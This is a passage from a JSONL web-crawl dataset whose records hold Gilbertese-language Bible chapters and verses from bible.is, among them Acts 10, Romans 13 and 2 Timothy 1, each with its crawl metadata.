i torotoro iroumi; bwa e kaangai te Baibara: Bwa E ekiia nako akana a kainikatonga te Atua, ao E akoiia akana a nanorinano. 6 Ma ngaia ae kam na kananoorinanoingkami i aani bain te Atua ae e baina ae mwaaka, bwa E aonga ni karietaataingkami n te tai ae e riai. 7 Kam na kaaki i aona baika kam raraomaeakin, bwa E tabeakiningkami. 8 Kam na kamarurungingkami, ao bwaina te tatauraoi. Bwa e aiwa ami i are te riaaboro n ai aron te raian ae e bekorara, n ukoukora konana bwa e na oongnga. 9 Kam na raarawa nakoina, ao kam na teimatoa n te onimaki, ngkai kam ataia bwa raomi n onimaki i aon aaba nako a taonaki naba ni maraki aika ti te bo aroia ma akana kam taonaki iai. 10 Ao te Atua are mai irouna te aakoi ni kabane, ae E weteingkami nakon neboakina ae e aki toki ngkai kam reitaki ma Kristo, E na karaoingkami bwa a na nako raoi aromi i mwiini marakimi n te tai ae e aki maan, ao E na kateimatoaingkami ma ni kakorakoraingkami ma ni kamatoatoaingkami 11 Ana bwai te tau-taeka n aki tootoki. Amene. 12 E korea te reta ae e kimototo Tirouano i bukiu, ae te tari ae I taku bwa e kakaonimaki. I kani kauungaingkami ma ni kaotiota te aakoi aei bwa te 476,1 BETERO 5 aakoi ni koaua ae mai iroun te Atua: kam na tei matoa iai. 13 E kamauringkami neiei, ae e mena i Bwaburon ae neie e rineaki naba ma ngkami; ao e kamauringkami naba Mareko ae natiu. 14 Kam na i kamauringkami n ai aroia taari ni kamauri. E na mena te rau iroumi ni kabaneingkami akana kam reitaki ma Kristo.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Pet\/5","date":"2013-05-20T08:15:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698646863\/warc\/CC-MAIN-20130516100406-00059-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":448,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.478,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Iai te aomata temanna i Kaitareia, ae arana Korenerio, ae mataniwiin te taanga ni buaka teuana ae tebubua kaaina, are e aranaki bwa te taanga ni buaka mai Itare; 2 e kakaonimaki Korenerio nakon ana kaantaninga te Atua, ao e rangi ni karinea te Atua, ti te bo arona ma kaain anna utu; e aki toki n angaangabwaai n tituaraoi, ao e bwaina te taatataro nakon te Atua. 3 Ngke tao te aoa teniua n te tanimaeaontaai, ao kaanga ae e kamiiaki: e noora raoi ana anera te Atua bwa e rin n te tabo are e mena iai, ao e kaangainakoina, Korenerio! 4 Ao ngaia e kamwataua taraana ma te maaku ae e bati, ao e taku, Te uea, tera? Ao e kaeka te anera, ao e taku, E kukurei te Atua iroum n am tataro, ao n am bwai nako n tituaraoi, ao E ongo iroum. 5 Ko na kanakoia aomata ngkai nako Iobe, bwa a na kaira mai Timon temanna are arana teuana Betero; 6 e maeka iroun Timon are te tia karaoi bwaai mani kunin te man, are e mena ana auti i rarikin tari. 7 Ngke e nako te anera are e taetaenakoina, ao ngaia e weteiia uoman mai irouia taani mwakuri n ana auti, ao temanna mai irouia ana tautia ake a buobuokiia, ae e kakaonimaki nakon ana kaantaninga te Atua, 8 ao e kabwarabwarai bwaai ni kabanenakoia, ao e kanakoia nako Iobe. 9 Ngke e a ingabong, ngke a mwananga i aoni kawaia ao a kaania te kaawa, ao e rierake Betero nako aon taubukin te auti bwa e na tataro iai, tao e a tawanou. 10 E taonaki n te baki, ao e kan amwarake; ao ngke a kume raona ni katauraoa te amwarake, ao ngaia kaanga e kamiiaki: 11 e noora karawa bwa e kaukaki, ao te bwai teuana ae ruo, ae kaanga ai aron taraan te rabuna ae e abwaabwaki, ae e bae tabona ma tabona ni maninganingana ake aua, ao e nnaaki rikaaki nako aontano; 12 ao a bane ni mena i nanona manin aonnaba aika kakaeai waeia, ma maan aika a kawakawa, ma mannikiba. 13 E roko irouna te bwanaa ae e kaangai, Betero, tei rake, tiring, ao kaang. 14 Ma e taku Betero, Te Uea, I aki kona; bwa I tuai ni kana te bwai teuana ae e aki itiaki ke ae e kamwaraa. 15 Ao e a manga roko naba irouna te bwanaa arei, ao e kaangai, Ane E kaitiakia te Atua, ao tai atongnga ngkoe bwa e aki itiaki. 16 Teniua ana tai n roko te bwanaa arei, ao e a waekoa naba ni katikaki rake nneni bwaai akekei nako karawa. 17 Ngke e tabe Betero ni miimii n ana iango bwa tera nanon te baere kaanga te mii are e nooria, ao akea bwa a tei i rarikini mataroan te kawai n rin n ana auti Timon aomata ake a kanakoaki irouni Korenerio, bwa a a tia n ataa nnen ana auti. 18 A weewete ao a titiraki bwa e mena ikekei Timon are arana teuana Betero, ke e aki. 19 Ao ngke e tabe Betero n iangoia bwa tera nanon te baere kaanga te mii arei, ao e taku te Taamneinakoina, Noria, a ukoukoriko teniman te aomata; 20 ma an tei rake, ao ruo n iriia n aki nanokokoraki teutana, bwa boni Ngai ae I kanakomaiia. 21 Ao e ruo Betero nakoia aomata akekei, ao e kaangai, Norai, boni ngai te aomata are kam ukoukoria. Tera bukin rokomi? 22 Ao ngaiia a kaangai, Teuare Korenerio, are mataniwiin te taanga ni buaka are tebubua kaaina, ae te aomata ae e raoiroi, ae e rangi ni karinea te Atua, ae e kakamoamoaaki arona irouia I-Iutaia ni kabaneia bwa te aomata ngaia ae e raoiroi, e tuangaki iroun ana anera te Atua bwa e na kaoko nakon ana auti bwa e na ongoraa n taeka mai iroum. 23 E kariniia ngkanne uaakekei Betero, ao e katikuia irouna. Ngke e a ingabong ao e katauraoia Betero, ao e iriia; iai taari tabemwaang aika I-Iobe ake a ira Betero. 24 Ao ngke e a manga ingabong ao a roko i Kaitareia. E a kamani bootiia ana buu Korenerio ma raraona ake e rangi n reitaki ma ngaiia, ao a tiku ni kakaantaninga rokoia. 25 Ma ngaia are ngke e nangi rini Betero, ao e butimwaaia Korenerio ni bwaka i rarikini waena, ao e bobaraaki ni kaota karineana ae moan te bati. 26 Ma e kateirakea Betero, ao e kaangai, Tei rake, bon te aomata naba ngai. 27 Ngke e kume n taetae Betero ma Korenerio ao e rin, ao e nooriia aomata bwa a bootaki, 28 ao e takunakoia, E ataaki iroumi bwa e aki riai n taekan te tua, bwa te aomata ae te I-Iutaia e na i raorao ma kaain te aba teuana, ke e na kawaria; ma E a tia te Atua ni kaotianakoiu bwa akea te aomata temanna ae N na atongnga bwa e aki itiaki ke e kamwaraa. 29 Ma ngaia ae I a roko bwa kam kaoai, ao I aki rawa. I a kan ataia ngkanne mai iroumi, bwa tera bukini kaoau iroumi. 30 Ao e taku Korenerio, Tao n te tai naba aei teniua te bong n nako, ao I tabe n tataro n au auti n te aoa teniua n te tanimaeontaai, ao akea bwa e tei te aomata temanna i matau ma kunnikaina ae e raneanea, 31 ao e kaangai, Korenerio, E ongo am tataro te Atua, ao a ururingaki am mwakuri n tituaraoi i matana. 32 Ma ngaia ae ko na kanakoia aomata nako Iobe ni kaoa Timon, are arana teuana Betero; e maeka n ana auti Timon, ae te tia karaoi bwaai mani kunin te man, ae e tei ana auti i rarikin tari. 33 Ma ngaia are I a kanakoia naba aomatanakoim; ao iai nanom ae e raoiroi bwa ko roko. Ma ngaia ae ti bane ni mena ikai i matan te Atua, bwa ti na ongoraa ni bwaai ni kabane ake ko tuangaki mai iroun te Uea. 34 Ao e kaurea wiina Betero, ao e taku, I ataia bwa bon te koaua bwa E aki nanonano te Atua; 35 ma E kukurei iroun ane iai irouna karineana ae moan te bati, ao e kaakaraoa ae e raoiroi, e aoria bwa kaain te bootanaomata ra ngaia. 36 Kam ataa te taeka are E kanakoa te Atua nakoia te bootanaomata ae Iteraera, are taekan euangkerion te raoi i nanon Iesu Kristo, are aia Uea aomata ni kabaneia; 37 arei te taeka are e karakinaki i aon Iutaia ni kabutaa, ni moa mai Kariraia i mwiin te bwaabetiito are e tataekinna Ioane: 38 bon taekan aron te Atua ngke E rinea Iesu are te I-Natareta, ao E kaonna n te Taamnei are e Raoiroi ma te mwaaka; are E nakonako ni kaakaraoa ae e raoiroi, ma ni kamaiuiia akana a bwainikiriinaki iroun te riaaboro, bwa E meemena te Atua irouna. 39 Ao bon taani kakoaua ngaira nakoni bwaai ni kabane ake E karaoi i abaia I-Iutaia, ao i Ierutarem. Ao a tiringnga ngke a tauria n te kai. 40 Bon aei Teuare E a manga kamaiua te Atua n te kateni bong, ao E kanakoa bwa E na kaotia; 41 E aki kaotia nakoia aomata ni kabaneia, ma E kaotia tinakoira, ngaira aika a taani kakoaua aika ti a kaman rineaki iroun te Atua, aika ti amwarake ao ti mooi ma Ngaia i mwiini maiuna mai buakoia maate. 42 Ao E tuangiira bwa ti na tataekina te euangkerio nakoia aomata, ao ti na kaotiotia bwa boni Ngaia are e rineaki iroun te Atua bwa te tia motiki-taekaia akana a maiu ma akana a mate. 43 A bane buraabeti ni kaotiota taekan Iesu, bwa ane e onimakinna ao e na reke irouna kabwaraan ana bure n arana. 44 Ngke e kume n taetae Betero, ao E ruo te Taamnei are e Raoiroi i aoia aomata ni kabaneia ake a ongoraa n ana taeka te Atua. 45 A miimii I-Iutaia ake a onimakina Iesu, ake raoni Betero n roko mai Iobe, bwa E nurakina naba te bwai n tituaraoi are te Taamnei are e Raoiroi te Atua i aoia aomata aika tiaki I-Iutaia; 46 bwa a ongo irouia ngke a taetae n taetae aika a aki ataaki nanoia, ao ngke a neboa te Atua. 47 E kaekaia ngkanne Betero, ao e taku, E a reke irouia aomata aikai te Taamnei are e Raoiroi n ai arora naba. Iai tuukaia bwa a na aki konaa ni bwaabetitooaki n te ran arei? 48 Ao e tua Betero bwa a na bwaabetitooaki n aran Iesu Kristo. A butiia ngkanne Betero bwa e na tiku irouia tabe bong.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/10","date":"2013-06-18T22:40:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368707435344\/warc\/CC-MAIN-20130516123035-00046-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1407,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 27:1\n1 Ngke e a tia te baaire bwa ti na borau nako Itare, ao a anga Bwauro ma buure temwaangina nakon aia mataniwi tautia ae Iurio arana, ae mataniwia te taanga ni buaka ae tebubua kaaina ae ana taanga ni buaka Aukitito.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27\/1","date":"2013-06-18T22:52:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368707435344\/warc\/CC-MAIN-20130516123035-00042-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999687672,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999687671661377}","num_words":61,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.279,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ngai ae Bwauro, ae ana tia tuatua Kristo Iesu n nanon te Atua, ibukin te taeka n aakoi are taekan te maiu are irouni Kristo Iesu, 2 nakon Timoteo, ae natiu ae e tangiraki: am bwai te aakoaki, ma te nanoangaaki ma te raoi, mai iroun te Atua ae te Tama ma Kristo Iesu are ara Uea. 3 I katituaraoa te Atua, ae I toro irouna ma mataniwiin nanou ae e itiaki, n ai aron are a karaoia naba au bakatibu. I katituaraoia n taai nako ake I uringko iai n au tataro n te ngaina ao te bong. 4 I uringa arom ngke ko tang, ao I rangi ni kan nooriko bwa I aonga ni kaonaki n te kimwaareirei. 5 I aki konaa ni mwaninga taekan te onimaki ni koaua ane i nanom, are e mena moa i nanon tibum are Nei Roiti ma tinam are Nei Eunike; ao I bon ataia bwa e mena naba ngkai i nanom. 6 Ma ngaia ae I tuangko bwa ko na kakorakoraa maiun ana bwai n tituaraoi te Atua ane i nanom, are e reke iroum ngke I katokaa baiu i aom ni katabuko nakon nakoam. 7 Bwa E aki anganiira te Atua te Taamnei ae e karikira bwa ti na mamaaku; ma E anganiira te Taamnei ae e kaonira n te korakora, te tangira, ma te konaa n taon nanora nakoni baika e tangiri te rabwata. 8 Ko na tai maamaa n taekina taekan ara Uea, ao ko na tai maamaa naba irou, ngai ae I kabureaki ibukini Kristo; ma ko na buokanibwai ma ngai ni maraki ibukin te euangkerio, ni mwaakan te Atua; 9 are e kamaiura ao E weteira bwa ti na riki bwa ana aomata, tiaki ibukini baika ti a tia ni karaoi, ma ibukin oin ana kaantaninga ma ana akoi, are ti anganaki ngkai ti reitaki ma Kristo Iesu; ao te aakoi aei e a kaman tauraoi i bukira ngke a tuai ni karikaki bwaai; 10 ma ngkai, e a kaotaki nakoira n rokon ara Tia Kamaiu are Iesu Kristo, are e kamauna te mate, ao E kaota te maiu ma te aki-mka n te euangkerio. 11 Bwa te euangkerio aei ae I baaireaki iai bwa te tia taekinna ngai, ao te tia tuatua ma te tia reirei ibukina; 12 ao aei bukin ae I maraki iai ibukini baikai. Ma I aki maamaa, bwa I ataa Teuare I onimakinna, ao I aki nanokokoraki bwa E boni konaa ni kaawakina te baere E a tia ni mwiokoai iai ni karokoa te bong arei. 13 Ko na tou mwiin au taeka aika a reirei ni koaua ake ko a tia n ongo irou bwa te banna ae ko na kakairi iai, ao ko na teimatoa ni bwaina te onimaki ma te tangira aika a kanoan arora n reitaki ma Kristo Iesu. 14 Ko na kaawakina te baere e raoiroi are e mwiokoaki iroum ni mwaakan te Taamnei are e Raoiroi ae e maeka i nanora. 15 Ko ataiia ake a mena i Atia bwa a bane n nako ni kiitanai; ao raoia naba Bukero ma Eremokene. 16 E na nanoangaaki ana utu Onetiboro iroun te Uea, ibukina bwa e aki toki Onetiboro ni kauunga nanou, ao e aki maamaa ngkai I kabaeaki: 17 ma ngke e mena i Rom, ao e ukoukorai ma nanona ni kan roko irou, ao I reke irouna. 18 E na reke irouna nanoangaakina iroun te Uea n te bong arei! Ao ko bon atai arona ni kabane ake e karaoi i bukiu i Ebeto.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/2Tim\/1","date":"2013-05-25T19:21:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706121989\/warc\/CC-MAIN-20130516120841-00027-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":573,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.464,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 3:4\n4 Ao taraia naba kaibuke: a abwaabwaki ao a kabutaki n aang aika a korakora, ma a kaetaki ni kawaia n te bwe ae moan te uarereke nakon te tabo are e kani borau nako iai te tia taubwe.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/3\/4","date":"2013-05-25T20:10:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706153698\/warc\/CC-MAIN-20130516120913-00058-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000005841255188}","num_words":58,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KARATIA 3:11\n11 Ma e ataaki bwa akea te aomata i matan te Atua ae e eti reitakina ma Ngaia n te Tua, bwa e kaangai te Baibara, E na maiu ane e kaetaki reitakina ma te Atua n te onimaki.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3\/11","date":"2013-05-19T10:35:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368697380733\/warc\/CC-MAIN-20130516094300-00060-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9994434714,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9994434714317322}","num_words":58,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.362,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KARATIA 3:24\n24 Ma ngaia ae e riki te Tua bwa te tia reireiniira arora ni karokoa ae E roko Kristo, bwa aonga n reke reitakira ma te Atua n te onimaki.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3\/24","date":"2013-05-19T09:48:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368697380733\/warc\/CC-MAIN-20130516094300-00094-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9997066259,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9997066259384155}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 7:25\n25 Ma ngaia ae E konaa ngkai ao n taai nako ni kamaiuiia akana a nako n te Atua irouna, ngkae E maiu n aki toki bwa E na buubuti i bukiia.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/7\/25","date":"2013-05-20T03:16:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698222543\/warc\/CC-MAIN-20130516095702-00012-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999816418,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999816417694092}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.314,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ke a ongeaaba aomata ni kabaneia irouia ake a tau-taeka i aoia: bwa ti te Atua ae e angan te aomata te mwaaka n tau-taeka, ao Ngaia naba ae E kateiia aika a tau-taeka ngkai n nakoaia. 2 Ma ngaia aei, bwa te aomata ane e rawa nakon te tau-taeka, ao e rawa naba nakon are E a tia ni baaireia te Atua; ane e karaoa aei ao e na motikaki taekana. 3 Bwa a aki riai ni maakaki taan tau-taeka irouia aomata aika a kaakaraoa ae e raoiroi, ma a riai ni maakaki irouia aika a kaakaraoa ae e buaakaka. Ko kan aki maaka te tia tau-taeka? Karaoa ae raoiroi, ao ane ko na kamoamoaaki iai irouna: 4 bwa ana aomata te Atua ngaia ao tabena bon te buokiko nakon ae e raoiroi. Ma ngkana ko karaoa ae e buaakaka ao ko bon riai ni maaku, ibukina bwa bon iai mwaakana ni kareke kai: bwa ana aomata te Atua ngaia ae te tia irantaanga ae e karaoa nanon te Atua ni karekea kain ane e karaoa ae e buaakaka. 5 Ma ngaia ae e riai bwa kam na bwaina te aan-taeka, tiaki ti ibukin ana moti te Atua are e na rawaawata mwiina nakoimi, ma ibukina naba bwa kam bon ataia bwa te bwai ae bon riai karaoana. 6 Ao bon aei naba bukin ae kam riai naba iai ni kabwakai ami taekiti: bwa a mwakuri ibukin te Atua taan tau-taeka n aia mwakuri are a kakaonimaki nako iai. 7 Anga bwaai ni kabane akana kam bae iai: te taekiti nakoia taan anai taekiti, te tiute nakoia taan anai tiute, te maaku nakoia akana riai ni maakaki, ao te karinerine nakoia akana riai ni karineaki. 8 Tai taarau iroun te aomata n te bwai teuana, bwa ti n te i-tangitangiri: bwa ane e tangira raona n aomata, ao e na karaoa nanon te Tua ni kabanea. 9 Bwa aikai tuua: Te Otinako 20.13-15, Te Tua-Kaua 5.17-19 ao 21 Ko na tai wene ni bure; Ko na tai kamateia aomata; Ko na tai ira; Ko na tai mataai; ao ngkana tao iai riki, ao a bane i nanon te tua ae e kaangai: Ko na tangira raom n ai aron tangiram i bon iroum. 10 Ane e tangira raona n aomata ao e aki konaa ni karaoa ae e buaakaka nakoina. Ma ngaia ae bwainan te tangira boni kakoroan nanon te Tua ni kabane. 11 Kam bon riai ni karaoa aei, ngkai kam atai kanoani boong aika ti mena iai ngkai. E a bo ami tai ngkai n uti mani m atuum i; bwa e a uakaan riki ngkai te bong are ti na kamaiuaki iai nakon taina ngkoa ngke ti moa n onimakina iai te Uea. 12 E a kaani bane te bong, ao e a kaan te ngaina. Ma ngaia ae ti na katikui mwakuri nako aika bwain te roo, ao ti na anai bwaai ni buaka aika bwain te oota. 13 Ti na bwaina te aro ae e riai ni maiura n ai aroia aomata aika a maeka n ootan te ngaina; ti na aki bwaina te maiu are iai i nanona te momooi manging, ma te wene ni bure, ma aaro ni kammaira nako, ma te unun, ma te bakantang. 14 Ma kam na anai ana bwai ni buaka nako te Uea are Iesu Kristo, ao tai karekei aia tai rabwatami aika a buubure bwa a na iri nanoia ni kaibwabwaru.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/13","date":"2013-05-19T20:07:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698063918\/warc\/CC-MAIN-20130516095423-00024-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":559,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 2:14\n14 Ma ngaia ae ngkai a buokanibwai ataei n te raraa ma te iriko, ao Iesu E buokanibwai naba ma ngaiia ni baikai, bwa e aonga n riki matena bwa kataean ana kai teuare iai mwaakana i aon te mate, ao teuaei bon te riaaboro;\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/14","date":"2013-05-23T19:27:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368703728865\/warc\/CC-MAIN-20130516112848-00025-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000090599060059}","num_words":64,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 15:13\n13 Ao te Atua are e riki mai irouna te kaantaninga, E na kaon nanomi n te kimwaareirei ni kabanea ma te rau ibukina ngkai kam onimakinna, bwa e aonga n teimatoa ami kaantaninga ni mwaakan te Taamnei are e Raoiroi.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/13","date":"2013-05-18T08:50:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696381630\/warc\/CC-MAIN-20130516092621-00031-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000038146972656}","num_words":60,"character_repetition_ratio":0.019,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.317,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 5:15\n15 Ma te aki-ongeaaba nakon te tua bon tiaki ti te bo arona ma te bwai n tituaraoi. Bwa ngkai a bati aika a mate ibukin ana aki-ongeaaba temanna nakon te tua, ao e a mwaiti riki ana aakoi te Atua ma te bwai n tituaraoi are e reke n ana aakoi te Aomata ae ti temanna are Iesu Kristo, nakoia ake a bati.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/15","date":"2013-06-19T13:21:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708783242\/warc\/CC-MAIN-20130516125303-00044-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000089406967163}","num_words":83,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.373,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 14:23\n23 Ma ngaia aei, ngkana tao a bane kaain te ekaretia ni bootaki, ao a bane n taetae n taetae aika a aki ataaki, ao ngkana a rin i buakoia aomata akana aki onimaki ma akana kan rin n te ekaretia ma a tuai n rin, ao tiaki bwa a na taku bwa kam rangirang?\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/23","date":"2013-05-24T23:48:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705284037\/warc\/CC-MAIN-20130516115444-00082-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000083446502686}","num_words":74,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.351,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 I bon riai ni kamoamoaai, e ngae ngkana akea te bae e na reke iai; ma N na taekini baika kaanga ai aron te mii ma baika a kaotaki iroun te Uea. 2 I ataa te aomata ae e onimakina Kristo ae e uotaki rake nakon te katenua n karawa, tengauni ma a ririki n nako. E uotaki rake ngke tao e mena n rabwatana, I aki ataia; ke ngke tao e aki, I aki ataia naba; ma E ataia te Atua. 3 Ao I ataa te aomata anne—ngke tao e mena i nanon rabwatana, ke ngke tao e aki, I aki ataia, ma E ataia te Atua 4 bwa e uotaki rake nako Bwaretaiti, ao e ongo taeka aika aki konaaki n taekinaki, aika aki riai bwa a na atongaki iroun te aomata. 5 N na tei ibukin te aomata anne ni kamoamoaa, ma N aki tei i bukiu ni kamoamoaai, ma ti ibukini mamaarau. 6 Bwa ngkana tao I kani kamoamoaai, ao I aki baba iai, bwa te bae N na taekinna bon te koaua. Ma I aki karaoia bwa e kaawa n raka aron iangoau iroun te aomata i aon are e nooria irou ao are e ongo mai irou, 7 ao ibukini kaotioti aika a kamiimii aroia ake I noori. Ma ngaia aei, ibukina bwa I kaawa n rangi ni kamoamoaai, ao I a anganaki te bae e maraki iai rabwatau, are e mwakuri bwa ana anera Tatan ibukin oreau ao tukau bwa N na aki rangi ni kamoamoa. 8 Tenua au tai ni butiia te Uea ibukin te baei bwa e na nako mai irou. 9 Ao E kaangai nakoiu, E tau i bukim au akoi, bwa e oti aroni mwaakau bwa e korakora n te mamaara. Ma ngaia ae moan te kukurei ngai ni kamoamoaai ni mamaarau, bwa e aonga ni meemena mwaakani Kristo i aou. 10 Ma ngaia ae I kukurei n taiani mamaara, ma taetae n iowawa, ma kai-n-nano, ma bwainikiriinaki, ma kaangaanga ibukini Kristo; bwa ngkana I mamaara, ao I a korakora iai. 11 I a tia n riki ni baba; kam karika aei nakoiu. I bon riai ni kamoamoaaki iroumi. Bwa I bon aki mangori riki nakoia taan tuatua ake kam atongiia bwa akea n ai aroia, e boni ngae ngke akea boonganau. 12 A a tia ni karaoaki i buakomi n te aro n taotaonaki n nano ni kabanea taiani kanikina, ma baika a kamiimii, ma mwakuri aika a mwaaka, aika e na kinaaki iai te tia tuatua. 13 Bwa tera te bae I a tia ni karaoia 